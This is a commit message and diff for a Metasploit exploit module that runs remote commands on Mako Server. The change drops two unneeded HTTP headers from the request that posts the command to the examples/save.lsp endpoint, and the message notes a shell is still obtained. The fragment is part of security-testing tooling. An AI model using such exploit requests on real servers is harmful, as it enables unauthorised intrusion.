Remove headers, since we didn't send them before

http was an invalid key for setting headers, and we still got a shell.
These headers also don't seem relevant to the PUT request.

modules/exploits/windows/http/makoserver_cmd_exec.rb

@@ -102,10 +102,6 @@ class MetasploitModule < Msf::Exploit::Remote
          'uri'      => normalize_uri(target_uri.path, 'examples/save.lsp'),
          'ctype'    => 'text/plain',
          'data'     => cmd,
-         'headers'  => {
-           'X-Requested-With' => 'XMLHttpRequest',
-           'Referer' => 'http://localhost/Lua-Types.lsp'
-         },
          'vars_get' => {
            'ex' => '2.1'
          }